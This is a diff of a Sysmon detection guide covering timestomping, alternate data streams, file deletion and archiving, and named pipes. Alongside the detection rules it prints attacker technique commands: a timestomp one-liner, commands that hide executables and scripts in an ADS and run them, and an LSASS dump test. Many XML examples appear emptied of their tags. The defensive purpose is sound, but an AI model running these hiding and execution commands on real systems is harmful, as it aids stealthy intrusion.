Unsigned processes creating executables or scripts -* **Archived**: States whether the archival action was succesful -Example monitoring for script file creation by extension: +File creation monitoring can impact performance if misconfigured: -```XML - -SysmonIsAwesome - - - - - - \Downloads\ - - \Content.Outlook\ - \AppData\Local\Temp\ - - \AppData\Local\Microsoft\ - C:\Windows\Temp - - - .exe;.ps1;.js;.xls;.xlsm;.docm - - - - -``` +**Volume Management**: +* Targeted includes: Expect 100-1000 events/day/host +* Exclusion-based with aggressive filtering: May see 5000-10000 events/day/host +* Test configurations in lab before production deployment +**Performance Tips**: +* Avoid monitoring entire drives or broad wildcards +* Prefer specific file extensions and paths over broad patterns +* Consider disabling file creation monitoring on extremely high-I/O servers (databases, file servers) +* Use "end with" for extensions rather than "contains" when possible -## Named Pipes +**Typical Well-Configured Volume**: +* Workstations: 50-200 events/day +* Servers: 100-500 events/day +* Domain Controllers: 200-1000 events/day (higher due to replication) -A named pipe is a named, one-way or duplex pipe for communication -between the pipe server and one or more pipe clients. Each named pipe -has a unique name that distinguishes it from other named pipes in the -system\'s list of named objects. Pipe names are specified as -\\\\ServerName\\pipe\\PipeName when connection is local a "." would be -used as ServerName. -Named pipes are used for pivoting in several RATs/Implants to have SMB -connections between machines. Some tools will use named pipes to talk to -injected code in other processes. +Validate your file creation monitoring: -Sysmon will generate a events +1. **Macro Test**: Create a test Excel file with macro that writes a .ps1 file +2. **Download Test**: Download a test executable via browser +3. **Credential Dump Simulation**: Use ProcDump on LSASS in lab to verify .dmp detection +4. **Persistence Test**: Create a file in startup folder +5. **Volume Baseline**: Monitor event volume for 1-2 weeks to establish normal patterns +6. **Performance Check**: Verify Sysmon is not consuming excessive CPU or I/O -* **EventID 17** when a named pipe server is created. +File creation monitoring, when properly configured with targeted includes for high-value file types and locations, provides critical visibility into malware staging, persistence establishment, and credential theft. The key is balancing comprehensive coverage with manageable event volume through thoughtful selection of monitored file types and locations. -* **EventID 18** when a client connects to a named piper server. +### File Create Time Change -For named pipes there are 2 approaches that can be taken: -* Include all events and exclude known good. +Sysmon will log **EventID 2** when a file's creation timestamp is modified, a technique commonly called "timestomping." This is a **low-volume, high-value event type** that detects anti-forensics activity where attackers modify file timestamps to hide malicious files by making them appear legitimate or to blend in with existing files in a directory. -* Include only known malicious actors. -The first approach requires more maintenance but in case of a breach -offers more value. The second one would be more targeted but this kind -of detection is better served with automation in the SIEM. Experienced -attackers normally avoid known Pipes to prevent breaking normal -operation of the system applications. +Timestomping is a classic anti-forensics technique used to evade detection and complicate incident response: -The process for PipeName values should be constant process. +**Hiding Malicious Files**: Attackers modify file timestamps to make malicious files appear legitimate: +* Setting creation time to match other files in `C:\Windows\System32\` to blend in +* Backdating files to make them appear as part of the original system installation +* Matching timestamps of legitimate applications to avoid suspicion -![process](./media/image45.png) +**Evading Timeline Analysis**: Forensic investigators rely on file timestamps to construct attack timelines. Timestomping disrupts this analysis by: +* Making recently created malware appear old +* Hiding the true time of file creation or modification +* Breaking the correlation between related attacker activities -Initial rule for collecting PipeEvent events +**Persistence Mechanism Concealment**: Attackers timestamp persistence mechanisms (scheduled tasks, startup folder items, registry run keys) to appear as if they've existed for a long time, making them less likely to be noticed during security reviews. -```xml - - - - - - - - - - - - - - - - - - -``` +**MITRE ATT&CK Mapping**: +* **T1070.006 - Indicator Removal on Host: Timestomp** - Primary technique +* **T1564 - Hide Artifacts** - General technique category for hiding evidence -Collect unique PipeName field values for building filters -The fields for the Pipe Create Event are: +Timestomping helps attackers in several ways: -* **RuleName**: Name of rule that triggered the event. +1. **Evades "Recent Files" Detection**: Security tools and analysts often filter for recently created/modified files. Timestomped files won't appear in these searches. -* **EventType**: ***[CreatePipe]{.underline}*** +2. **Blends with Legitimate Files**: When all files in `C:\Windows\System32\` were created during Windows installation except one created yesterday, that one file stands out. Timestomping eliminates this tell. -* **UtcTime**: Time in UTC when event was created +3. **Complicates Forensics**: Without accurate timestamps, investigators struggle to: + - Determine when compromise occurred + - Correlate file creation with other events + - Establish attacker dwell time -* **ProcessGuid**: Process Guid of the process that created the pipe +4. **Defeats SIEM Time-Based Queries**: Many detection rules look for file creation within specific time windows. Timestomping can evade these. -* **ProcessId**: Process ID used by the OS to identify the process - that created the pipe -* **PipeName**: Name of the pipe created +File creation time modification is rare in normal operations: +* **Normal operations**: Some applications legitimately modify timestamps (installers, cloud sync tools like OneDrive, backup software) +* **Typical volume**: 10-50 events per day, mostly from known applications +* **Servers**: Near-zero volume outside of software installations -* **Image**: File path of the process that created the pipe +This low volume makes timestomping detection ideal for a **targeted include approach** focusing on user directories and suspicious file types, or an **exclusion-based approach** that logs everything except known-good applications. -The fields for the Pipe Connect Event are: -* **RuleName**: Name of rule that triggered the event. +Attackers use various tools and methods to modify file timestamps: -* **EventType**: ***[ConnectPipe]{.underline}*** +**PowerShell**: +```powershell +$(Get-Item malware.exe).creationtime=$(Get-Date "01/01/2020 12:00 am") +``` -* **UtcTime**: Time in UTC when event was created +**Command Line Tools**: +* `timestomp.exe` (from Metasploit) +* `NewFileTime.exe` +* Custom scripts and tools -* **ProcessGuid**: Process Guid of the process that connected the pipe +**Windows API**: +* `SetFileTime()` API calls from custom malware +* Can modify creation, modification, and access times -* **ProcessId**: Process ID used by the OS to identify the process - that connected the pipe +Sysmon monitors file system API calls and detects when the creation time is changed from its original value. -* **PipeName**: Name of the pipe connected -* **Image**: File path of the process that connected the pipe +When reviewing file creation time change events, prioritize investigation of: -Example excluding known good Pipe Names +**1. Timestomping in System Directories** +* Files in `C:\Windows\`, `C:\Windows\System32\`, or `C:\Windows\SysWOW64\` +* Particularly suspicious if done by non-system processes +* System files should rarely have timestamps modified post-installation -```XML - - - - - - - - \ntapvsrq - \srvsvc - \wkssvc - \lsass - \winreg - \spoolss - Anonymous Pipe - c:\windows\system32\inetsrv\w3wp.exe - - - \SQLLocal\MSSQLSERVER - \SQLLocal\INSTANCE01 - \SQLLocal\SQLEXPRESS - \SQLLocal\COMMVAULT - \SQLLocal\RTCLOCAL - \SQLLocal\RTC - \SQLLocal\TMSM - Program Files (x86)\Microsoft SQL Server\110\DTS\binn\dtexec.exe - - - - - -``` +**2. Timestomping in User Directories** +* Files in `C:\Users\\AppData\` directories +* Downloads folder (`C:\Users\\Downloads\`) +* Startup folders and other persistence locations +* Desktop and Documents folders -One thing to consider is that Sysmon uses a minifilter just like the -file events. If any AV or EDR with a lower altitude number triggers -on a named pipe and blocks it, Sysmon will not log the event. +**3. Executable and Script Files** +* `.exe`, `.dll`, `.sys` files being timestomped +* PowerShell scripts (`.ps1`, `.psm1`) +* Batch files, VBScript, JavaScript +* Any file that can execute code +**4. Suspicious Processes Performing Timestomping** +* PowerShell, CMD, or scripting engines modifying timestamps +* Processes from temp directories +* Unknown or recently created processes +* Tools known for timestomping (`timestomp.exe`, `NewFileTime.exe`) -## Driver Loading +**5. Multiple Files Timestomped Simultaneously** +* Batch timestomping operations (attacker cleaning up multiple files) +* All files set to same timestamp (common attacker pattern) +* Rapid sequence of timestamp modifications -Sysmon will log EventID 6 for the loading of drivers. Drivers have been used by attackers for the installation of rootkits or to run tooling that needs to run at the kernel level. Mimikatz is known to use a driver to perform tasks to query and modify the UFI to bypass process protections. +**6. Timing and Context** +* Timestomping shortly after file creation (covering tracks) +* Correlates with other suspicious activity (malware execution, lateral movement) +* Occurs during off-hours or after compromise indicators -Sysmon will provide code signing information allowing filtering on those fields. Sysmon can also check if a certificate the driver signed has been revoked. +**7. Timestamp Anomalies** +* CreationTime set to far in the past (e.g., 1999, Windows XP era) +* CreationTime set to match Windows installation date +* Identical timestamps across multiple unrelated files -A recommended action for this event is to filter on the **Signature** and **SignatureStatus** fields and exclude known drivers. The main reason to filter on both fields is that many of the attacks steal certificates that are later revoked. By confirming that the **SignatureStatus** is valid, we can find easier drivers signed by a vendor who has been forced to revoke that specific signing certificate. -The process for Signature values should be a constant one. +The file creation time change event fields are: -![process](./media/image48.png) +* **RuleName**: Name of rule that triggered the event +* **UtcTime**: Time in UTC when the timestamp modification was detected +* **ProcessGuid**: Process GUID of the process that changed the file creation time +* **ProcessId**: Process ID of the process changing the file creation time +* **Image**: File path of the process that changed the file creation time +* **TargetFilename**: Full path of the file whose timestamp was modified +* **CreationUtcTime**: New (modified) creation time of the file +* **PreviousCreationUtcTime**: Original creation time before modification -Initial rule for collecting DriverLoad events +The **PreviousCreationUtcTime** and **CreationUtcTime** fields are critical - compare them to understand how the timestamp was changed and whether it's suspicious. -```xml + +**Example 1: Monitor User Directories (Recommended)** + +Focus on timestomping in user directories where attackers commonly operate: + +```xml + + + + + + C:\Users\ + + + + +``` + +**Example 2: Monitor High-Value File Types and Locations** + +Target specific file types and system directories: + +```xml + + + + + + C:\Users\ + + + C:\Windows\System32\ + C:\Windows\SysWOW64\ + + + + .exe + .dll + .sys + .ps1 + .bat + .cmd + .vbs + + + + + +``` + +**Example 3: Exclusion-Based Approach (Log All, Exclude Known-Good)** + +Log all timestamp modifications but exclude applications that legitimately change timestamps: + +```xml + + + + + + C:\ + + + + + + + OneDrive.exe + Dropbox\ + Google Drive\ + + + setup + install + Update\ + redist.exe + C:\Windows\System32\msiexec.exe + C:\Windows\servicing\TrustedInstaller.exe + + + C:\Windows\System32\backgroundTaskHost.exe + C:\Windows\System32\svchost.exe + + + + + + + +``` + +**Example 4: Detect Suspicious Processes Doing Timestomping** + +Focus on processes commonly used by attackers: + +```xml + + + + + + powershell.exe + pwsh.exe + + + cmd.exe + cscript.exe + wscript.exe + + + timestomp + NewFileTime + + + \Temp\ + \AppData\Local\Temp\ + \Downloads\ + + + + +``` + + +When you detect a file creation time change event: + +1. **Identify the File**: Check `TargetFilename` - what file was timestomped? + - Is it an executable, script, or DLL? + - Is it in a sensitive location (System32, user startup folders)? + +2. **Analyze the Process**: Check `Image` - what process modified the timestamp? + - Is it a known-good application (installer, cloud sync)? + - Is it suspicious (PowerShell, unknown tool)? + +3. **Compare Timestamps**: + - `PreviousCreationUtcTime`: When was the file actually created? + - `CreationUtcTime`: What timestamp was it changed to? + - Is the new timestamp trying to make the file look old? + +4. **Correlate with Other Events**: + - Check Process Creation events: Was the file recently created? + - Check File Creation events: What process created the file originally? + - Check Network Connections: Did the process that created the file connect to external IPs? + +5. **Examine the File**: + - Hash the timestomped file and check threat intelligence + - Analyze the file for malicious indicators + - Check if it's signed and by whom + +6. **Timeline Analysis**: + - When was the file really created (PreviousCreationUtcTime)? + - What else happened around that time? + - Does this correlate with known compromise indicators? + + +Not all timestamp modifications are malicious. Legitimate reasons include: + +* **Cloud Sync Tools**: OneDrive, Dropbox, Google Drive modify timestamps to match server-side timestamps +* **Backup/Restore Operations**: Backup tools may restore original timestamps when restoring files +* **Software Installers**: Some installers set specific timestamps on installed files +* **Development Tools**: Version control systems (Git) may restore file timestamps during checkout +* **Archive Extraction**: Extracting ZIP/RAR files often restores original timestamps + +The key is to baseline your environment and understand what's normal for your systems, then investigate deviations. + + +1. **Start with User Directories**: Monitoring `C:\Users\` captures most attacker activity while minimizing noise +2. **Baseline Your Environment**: Understand which applications legitimately modify timestamps +3. **Progressive Exclusions**: Start broad, add exclusions for verified legitimate applications +4. **Focus on Executables**: Prioritize monitoring of `.exe`, `.dll`, `.ps1` timestomping +5. **Correlate with Other Events**: Timestomping alone may be benign; correlation with other suspicious activity increases confidence +6. **Regular Review**: Periodically review timestomping events to identify new patterns or threats + + +**Attacker Evasion Techniques:** +* Some attackers avoid timestomping entirely, knowing it's monitored +* Can set timestamps to random values throughout a time range to appear less suspicious +* May use kernel-mode rootkits to hide timestomping from Sysmon + +**Sysmon Limitations:** +* Only detects modification of creation time, not modification or access times (Windows doesn't log those separately) +* Cannot detect timestomping that occurs before Sysmon is installed +* Kernel-mode tampering may evade detection + + +File creation time change monitoring (EventID 2) detects a common anti-forensics technique used by sophisticated attackers. The low event volume and high detection value make it ideal for: +* Targeted monitoring of user directories +* Detecting timestomping of executable files +* Identifying anti-forensics activity during incident response +* Complementing other detection mechanisms in a layered defense strategy + +When configured properly with appropriate exclusions for legitimate applications, timestomping detection provides high-fidelity alerts with minimal false positives. + +### File Stream Creation Hash + + +Sysmon will log **EventID 15** for the creation of Alternate Data Streams (ADS) on NTFS filesystems. This is a **moderate-volume event type** that detects both malicious use of ADS for hiding payloads and provides valuable forensic information through Mark of the Web (MOTW) tracking. Alternate Data Streams are a powerful but often overlooked detection opportunity. + + +Alternate Data Streams provide unique detection and forensic capabilities: + +**Malicious Payload Hiding**: Attackers use ADS to hide malicious content: +* Executables hidden in alternate streams (not visible in directory listings) +* Scripts (PowerShell, VBScript, JScript) stored in ADS for execution +* Malware components and configuration files hidden from casual inspection +* Tools and utilities concealed on compromised systems + +**Mark of the Web (MOTW) Forensics**: Windows Internet Explorer and other browsers create a `Zone.Identifier` ADS on downloaded files containing: +* **ZoneId**: Security zone of download (Internet, Intranet, Trusted, etc.) +* **ReferrerUrl**: The URL that linked to the download +* **HostUrl**: The URL the file was downloaded from + +This data is **critical forensic evidence** for tracking: +* How malware was delivered (phishing email, malicious website) +* The origin of attacker tools and payloads +* User downloads during compromise investigations +* Attribution and infrastructure mapping + +**Defense Evasion**: ADS allows attackers to: +* Bypass file extension filters (store .exe in ADS of .txt file) +* Hide from antivirus scans that don't inspect ADS +* Evade file integrity monitoring on the main data stream +* Conceal backdoors and persistence mechanisms + +**MITRE ATT&CK Mapping**: +* **T1564.004 - Hide Artifacts: NTFS File Attributes** - Primary ADS abuse technique +* **T1027 - Obfuscated Files or Information** - Hiding via ADS +* **T1140 - Deobfuscate/Decode Files or Information** - Extracting from ADS + + +Each NTFS file record contains multiple attributes that define different aspects of the file: +* **$STANDARD_INFORMATION** - Timestamps and attributes +* **$FILE_NAME** - File name +* **$DATA** - File content (can have multiple streams) +* **$INDEX_ROOT**, **$BITMAP**, **$INDEX_ALLOCATION** - Directory structures +* **$ATTRIBUTE_LIST** - List of all attributes + +**Alternate Data Streams** are implemented by having multiple $DATA attributes: +* **Default stream**: Unnamed stream (the normal file content) +* **Alternate streams**: Named streams (additional hidden content) + +**Example**: A file `document.txt` can have: +* Default stream: `document.txt` (visible content) +* Named stream: `document.txt:hidden.exe` (hidden executable) +* MOTW stream: `document.txt:Zone.Identifier` (download origin info) + +**Viewing ADS with PowerShell**: +```powershell +Get-Item file.txt -Stream * + +Get-Item downloaded.exe -Stream * +``` + +![stream1](./media/image41.png) + +File with a second named stream: + +![stream2](./media/image42.png) + + +**Hiding Executables**: +```cmd +type malware.exe > innocent.txt:hidden.exe + +wmic process call create "C:\innocent.txt:hidden.exe" +``` + +**Hiding Scripts**: +```powershell +Get-Content malicious.ps1 | Set-Content .\document.docx:payload.ps1 -Stream payload.ps1 + +powershell -Command "Get-Content .\document.docx:payload.ps1 -Stream payload.ps1 | IEX" +``` + +**Execution Examples from ADS**: +* **Rundll32**: `rundll32.exe file.txt:malicious.dll,EntryPoint` +* **Cscript**: `cscript.exe file.txt:script.vbs` +* **PowerShell**: `powershell Get-Content file.txt:script.ps1 -Stream script.ps1 | IEX` + +More execution techniques: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f (by Oddvar Moe) + + +When files are downloaded using Windows APIs (`urlmon.dll`), a `Zone.Identifier` ADS is created with forensic metadata: + +**Example MOTW Content**: +``` +[ZoneTransfer] +ZoneId=3 +ReferrerUrl=https://malicious-site.com/landing +HostUrl=https://malicious-site.com/payload.exe +``` + +**ZoneId Values**: +* 0 = Local computer +* 1 = Local intranet +* 2 = Trusted sites +* 3 = Internet +* 4 = Restricted sites + +**Forensic Value**: +* Track phishing email links (ReferrerUrl shows email gateway URL) +* Identify malware download sites (HostUrl) +* Correlate with network logs for full attack chain +* Determine if file was locally created (no Zone.Identifier) or downloaded + +**Important**: Attackers commonly delete Zone.Identifier streams to hide download origin. Detecting Zone.Identifier deletion is a strong indicator of anti-forensics activity. + +![process](./media/image63.png) + + +ADS creation volume varies by environment: +* **Workstations with active browsing**: Moderate-to-high volume (100-500 events/day) +* **Servers**: Low volume outside of software downloads +* **Most events**: Zone.Identifier streams from browsers and email clients + +**MOTW Generation Pattern**: Downloading a file typically generates **6 events** as `urlmon.dll` progressively writes the Zone.Identifier stream during download. This is normal and provides detailed forensic timeline. + + +When reviewing file stream creation events, prioritize investigation of: + +**1. Non-MOTW Alternate Streams** +* Any stream name **other than** `Zone.Identifier` +* Streams with executable names (`.exe`, `.dll`, `.ps1`, `.bat`, `.vbs`) +* Streams created by suspicious processes +* **High priority** - These are almost always malicious or very unusual + +**2. Executable Content in ADS** +* Check the **Hash** field - if populated, the stream contains executable code +* Cross-reference hash with threat intelligence +* Any PE executable stored in ADS is highly suspicious + +**3. Script Files in ADS** +* PowerShell scripts (`.ps1`) +* VBScript, JScript files +* Batch files, command scripts +* These enable fileless execution techniques + +**4. Suspicious Processes Creating ADS** +* PowerShell, CMD creating non-MOTW streams +* Processes from temp directories +* Office applications (macros creating ADS) +* Unknown executables + +**5. MOTW Forensics (Download Tracking)** +* Review **TargetFilename** to identify what was downloaded +* Check **Content** field for Zone.Identifier data (HostUrl, ReferrerUrl) +* **ZoneId=3** (Internet) downloads of executables are high-priority +* Correlate with network logs using HostUrl +* Track user downloads during investigations + +**6. Timing and Context** +* ADS creation shortly after file creation +* Multiple ADS creations in sequence (staging payloads) +* ADS creation during suspected compromise timeline +* Downloads from recently created or suspicious domains + + +The file stream creation event fields are: + +* **RuleName**: Name of rule that triggered the event +* **UtcTime**: Time in UTC when stream was created +* **ProcessGuid**: Process GUID of the process that created the named file stream +* **ProcessId**: Process ID of the process that created the stream +* **Image**: File path of the process that created the stream +* **TargetFilename**: Full path of the file (including stream name after `:`) +* **CreationUtcTime**: File creation time (not stream creation time) +* **Hash**: Full hash of the stream contents (if stream contains executable code) +* **Contents**: For text streams <1KB, the actual stream contents are logged (MOTW data) + +**Critical Field**: **Contents** field captures Zone.Identifier data, providing HostUrl and ReferrerUrl for forensic tracking. + + +**Example 1: Exclusion-Based (Recommended for Workstations)** + +Log all ADS creation but exclude browsers and email clients creating MOTW streams: + +```xml + + + + + + C:\Program Files\Google\Chrome\Application\chrome.exe + C:\Program Files (x86)\Google\Chrome\Application\chrome.exe + C:\Program Files\Mozilla Firefox\firefox.exe + C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + + + C:\Windows\System32\browser_broker.exe + + + C:\Program Files\Internet Explorer\iexplore.exe + C:\Program Files (x86)\Internet Explorer\iexplore.exe + + + OUTLOOK.EXE + + + + +``` + +**Example 2: Detect Only Malicious ADS (Not MOTW)** + +Focus on non-Zone.Identifier streams which are almost always malicious: + +```xml + + + + + + :Zone.Identifier + + + + +``` + +This configuration captures **only suspicious ADS creation**, not normal download tracking. + +**Example 3: Monitor Executable Downloads (Forensic Tracking)** + +Capture MOTW for executable files while excluding other downloads: + +```xml + + + + + + + :Zone.Identifier + + .exe: + .dll: + .ps1: + .bat: + .vbs: + .js: + .hta: + .msi: + + + + + + +``` + +**Example 4: Comprehensive - Detect Malicious ADS + Track Executable Downloads** + +Best of both worlds - catch ADS abuse and track executable downloads: + +```xml + + + + + + : + + + + + + + + :Zone.Identifier + .exe: + .dll: + .ps1: + .bat: + .vbs: + .msi: + + + + chrome.exe + firefox.exe + msedge.exe + + + + +``` + + +**For Non-MOTW ADS (Malicious)**: +1. **Extract the stream**: Identify the file and stream name from TargetFilename +2. **Analyze the content**: + ```powershell + Get-Content "C:\path\to\file.txt" -Stream "streamname" + ``` +3. **Check for executable content**: If Hash field is populated, extract and analyze the PE +4. **Identify the creator**: Check Image field - what process created the ADS? +5. **Timeline correlation**: What else was happening when the ADS was created? + +**For MOTW Streams (Forensics)**: +1. **Review Contents field**: Extract HostUrl and ReferrerUrl +2. **Check ZoneId**: Was it downloaded from Internet (3) or other zone? +3. **Identify the file**: What was downloaded? (TargetFilename) +4. **Correlate with network logs**: Search for HostUrl in proxy/firewall logs +5. **Check file hash**: Was the downloaded file malicious? +6. **Attribution**: Map HostUrl to known threat infrastructure + + +**Pattern 1: Hiding Executables** +* TargetFilename contains `:` but doesn't end with `:Zone.Identifier` +* Hash field is populated (executable content) +* Image is PowerShell, CMD, or unknown process + +**Pattern 2: Script Hiding** +* Stream names ending in `.ps1`, `.vbs`, `.js`, `.bat` +* Created by Office applications (macro-based) +* Created by scripting engines + +**Pattern 3: Anti-Forensics** +* Zone.Identifier deletion (look for File Delete events with `:Zone.Identifier`) +* MOTW stream removed from recently downloaded executables +* Attacker cleaning tracks + +**Pattern 4: Malware Delivery** +* MOTW showing download from newly registered domain +* Executable downloaded from suspicious TLD (.tk, .pw, etc.) +* ReferrerUrl from known malicious sites + + +**Attacker Evasions**: +* Some attackers avoid ADS entirely, knowing it's monitored +* Can delete Zone.Identifier to hide download origin +* May use non-standard download methods that don't create MOTW +* Can use volume shadow copies to hide ADS from live analysis + +**Sysmon Limitations**: +* Only logs stream creation, not stream deletion (use File Delete events) +* Does not log stream access or execution +* MOTW only created by specific download methods (urlmon.dll-based) +* Some download tools don't create Zone.Identifier + +**MOTW Bypasses**: +* Downloads via curl, wget, or other non-urlmon.dll tools don't create MOTW +* File transfers over RDP, SMB shares don't create MOTW +* Archive extraction doesn't preserve MOTW on contained files + + +1. **Prioritize Non-MOTW ADS**: These are rare and high-value indicators +2. **Track Executable Downloads**: MOTW on .exe, .dll, .ps1 files provides forensic value +3. **Baseline Your Environment**: Understand normal ADS creation patterns +4. **Correlate with Network Logs**: Use HostUrl/ReferrerUrl to enrich detections +5. **Monitor for MOTW Deletion**: Cross-reference with File Delete events +6. **Maintain Exclusion Lists**: Update browser/email client exclusions as software updates + + +File stream creation monitoring (EventID 15) provides dual value: +* **Detection**: Catches attackers hiding payloads in Alternate Data Streams +* **Forensics**: Tracks file download origins through Mark of the Web + +The moderate volume and high detection value make ADS monitoring essential for: +* Detecting fileless malware techniques +* Tracking malware delivery mechanisms +* Incident response and attribution +* Understanding attacker infrastructure + +When configured to exclude legitimate MOTW generation while capturing suspicious ADS creation, this event type delivers high-fidelity detections with strong forensic context. + +### File Delete + + +Sysmon will log **EventID 23** for file deletions, providing critical visibility into file destruction activity. This event type not only logs deletions but also archives the deleted files, allowing defenders to recover and analyze tools, malware, and other artifacts that attackers create and then delete. This is a **moderate-to-high volume event type** that requires careful filtering to capture high-value deletions while avoiding noise from normal system operations. + + +File deletion monitoring detects critical attack patterns that other event types cannot capture: + +**Ransomware Detection**: Ransomware typically follows this pattern: +1. Create encrypted copy of original file +2. Delete the original unencrypted file +3. Repeat across thousands of files rapidly + +Monitoring file deletions reveals this pattern before significant damage occurs. High volumes of file deletions in user directories within short time windows is one of the strongest ransomware indicators. + +**Wiper Malware**: Destructive attacks that permanently delete files and system components to cause damage and cover tracks. File deletion events help detect wiper software used by nation-state actors and destructive attackers. + +**Anti-Forensics**: Attackers delete tools, scripts, and other artifacts after use to remove evidence: +* Deleting droppers/stagers after payload execution +* Removing tools after completing objectives +* Cleaning up temporary files and scripts +* Deleting log files to hide activity + +**Data Destruction**: Intentional deletion of backup files, database files, or critical system files as part of an attack. + +**MITRE ATT&CK Mapping**: +* **T1485 - Data Destruction** - Wiper malware and destructive attacks +* **T1486 - Data Encrypted for Impact** - Ransomware encryption +* **T1488 - Disk Structure Wipe** - Destructive wiping attacks +* **T1070.004 - Indicator Removal on Host: File Deletion** - Anti-forensics +* **T1490 - Inhibit System Recovery** - Deleting backups and shadow copies + + +File deletion volume varies dramatically by use case: +* **Unfiltered volume**: Extremely high - thousands to tens of thousands of events per day +* **Normal operations**: Applications, Windows Updates, browsers, and temp file cleanup generate constant deletion activity +* **Filtered volume**: Can be reduced to 100-500 high-value events per day with proper filtering + +**Critical Consideration**: The event includes file archiving by default. This means deleted files are copied to the Sysmon archive directory before deletion. This provides immense forensic value but has storage implications: +* Archived files consume disk space in the archive directory +* High-volume deletions can fill disk space quickly +* You must monitor archive directory size and implement retention policies +* Consider using EventID 26 (File Delete Detected, without archiving) for high-volume, low-value deletions + +**Recommended Filtering Approach**: Target specific file types and locations that matter for security: +* Executable files (.exe, .dll, .sys) in suspicious locations +* Script files (.ps1, .bat, .vbs, .js) anywhere +* Office documents with macros (.docm, .xlsm) +* Archive files (.zip, .rar, .7z) from temp directories +* Database and backup files +* Multiple deletions in rapid succession (SIEM-side detection) + + +Sysmon uses a minifilter driver to monitor file system activity. The minifilter monitors three I/O request packets (IRP): +* **IRP_MJ_CREATE** - File creation +* **IRP_MJ_CLEANUP** - Handle closure +* **IRP_MJ_WRITE** - File writes + +When a file is marked for deletion, Sysmon intercepts this event and can archive the file before it's permanently removed. + +![minifilter](./media/image36.png) + +**Important Limitation**: Like all minifilter-based monitoring, if any security software with a lower altitude number (higher priority) blocks or modifies the file deletion, Sysmon may not observe or archive the file correctly. + + +The archive directory stores copies of deleted files, providing critical forensic evidence. Proper configuration is essential: + +**Setting the Archive Directory:** +* Specified in XML configuration: `folder_name` +* Or via registry: Set **FilterArchiveDirectory** value under the driver registry key parameters +* Default location if not specified: `C:\Sysmon\` + +**Version-Specific Behavior:** +* **Sysmon 11.0**: Requires `-a ` command-line parameter during install, otherwise uses default "Sysmon" folder even if XML specifies different name +* **Sysmon 11.1 and later**: The `-a` parameter was removed; archive directory must be specified in XML configuration or default is used + +**Archive Directory Security:** +The archive directory is protected by SYSTEM ACL to prevent tampering: + +``` +PS C:\> (Get-Acl C:\Sysmon\).access + +FileSystemRights : FullControl +AccessControlType : Allow +IdentityReference : NT AUTHORITY\SYSTEM +IsInherited : False +InheritanceFlags : None +PropagationFlags : None +``` + +To access archived files, use PsExec to spawn a SYSTEM-level shell: +``` +PsExec.exe -sid cmd +``` + +**Archive Directory Management:** +* Monitor disk space consumption +* Implement retention policies (delete old archived files) +* Consider separate volume for archive directory on high-activity systems +* Regularly review archived files for malware and tools +* Hash archived executables and submit to threat intelligence platforms + + +When reviewing file deletion events, prioritize investigation of: + +**1. High Volume of Deletions (Ransomware Indicator)** +* Many files deleted from user directories within minutes +* Deletions spanning multiple file types and folders +* Particularly suspicious: `.doc`, `.xls`, `.pdf`, database files +* Cross-reference with file creation events for encrypted file extensions (`.encrypted`, `.locked`, `.crypto`) + +**2. Suspicious File Types Deleted** +* Executables (`.exe`, `.dll`) from temp directories or downloads +* PowerShell scripts (`.ps1`, `.psm1`) anywhere +* Batch files (`.bat`, `.cmd`) +* VBScript/JavaScript (`.vbs`, `.js`, `.jse`) +* Macro-enabled Office files (`.docm`, `.xlsm`, `.pptm`) + +**3. Deletions from Suspicious Locations** +* `\Downloads\` - Tools downloaded and then deleted +* `\AppData\Local\Temp\` - Droppers deleting themselves +* `\AppData\Roaming\` - Persistence mechanisms removing artifacts +* `\Content.Outlook\` - Email attachments deleted after execution +* `\Windows\Temp\` - System-level temp file deletions (especially by non-system processes) + +**4. Backup and Shadow Copy Deletions** +* Volume shadow copy deletions (attackers disabling recovery) +* Database backup file deletions (`.bak`, `.backup`) +* System state backups +* Usually performed via `vssadmin.exe` or `wmic.exe` (check Process Creation events) + +**5. Deletions by Suspicious Processes** +* PowerShell, CMD, or scripting engines deleting files +* Processes from temp or download directories +* Recently created processes (staging malware) +* Office applications deleting executable files (macro-based attack cleanup) + +**6. Timing Patterns** +* Deletions immediately after file creation (dropper behavior) +* Deletions during off-hours +* Deletions correlating with other suspicious activity (lateral movement, credential access) + + +The file delete event fields are: + +* **RuleName**: Name of rule that triggered the event +* **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that deleted the file +* **ProcessId**: Process ID used by the OS to identify the process that deleted the file +* **Image**: File path of the process that deleted the file +* **TargetFilename**: Name of the file that was deleted +* **Hashes**: Full hash of the file with the algorithms in the HashType field. This is also the filename of the archived file in the ArchiveDirectory +* **Archived**: States whether the archival action was successful (`true` or `false`) + + +**Example 1: Monitor High-Value File Types in Suspicious Locations** + +This configuration focuses on executables, scripts, and office files in locations commonly used by attackers: + +```xml + + SysmonArchive + + + + + + + \Downloads\ + \Content.Outlook\ + \AppData\Local\Temp\ + \AppData\Roaming\ + C:\Windows\Temp\ + + + .exe;.dll;.ps1;.bat;.cmd;.vbs;.js;.jse;.hta;.msi + + + + + +``` + +**Example 2: Ransomware Detection - Monitor User Document Deletions** + +This configuration detects mass deletion of user files, a primary ransomware indicator: + +```xml + + SysmonArchive + + + + + + \Users\;\Documents\;\Desktop\;\Pictures\ + + .doc;.docx;.xls;.xlsx;.ppt;.pptx;.pdf;.txt;.jpg;.png;.zip + + + + + +``` + +**Example 3: Anti-Forensics Detection - Scripts and Tools** + +Focus on deletions that suggest cleanup activity: + +```xml + + SysmonArchive + + + + + .ps1 + .bat + .cmd + .vbs + .js + + + + .exe + C:\Program Files + C:\Windows\ + + + + + +``` + +**Example 4: Comprehensive Approach with Exclusions** + +Start broader and exclude known-good deletion patterns: + +```xml + + SysmonArchive + + + + + \AppData\Local\Microsoft\Windows\Temporary Internet Files\ + \AppData\Local\Google\Chrome\User Data\Default\Cache\ + \AppData\Local\Mozilla\Firefox\Profiles\ + + + C:\Windows\System32\usocoreworker.exe + C:\Windows\System32\svchost.exe + + + .tmp;.log;.etl;.old + + + + +``` + + +**Critical Vulnerability in Sysmon 11.0, 11.1, and 12.0**: A code execution vulnerability exists in these versions where an attacker with local administrative privileges can leverage a bug in how Sysmon handles File Delete events in memory. This allows arbitrary kernel writes where attackers can execute code with kernel-level privileges. + +**Vulnerable Driver SHA256 Hashes:** +* 35c67ac6cb0ade768ccf11999b9aaf016ab9ae92fb51865d73ec1f7907709dca +* d2ed01cce3e7502b1dd8be35abf95e6e8613c5733ee66e749b972542495743b8 +* a86e063ac5214ebb7e691506a9f877d12b7958e071ecbae0f0723ae24e273a73 +* 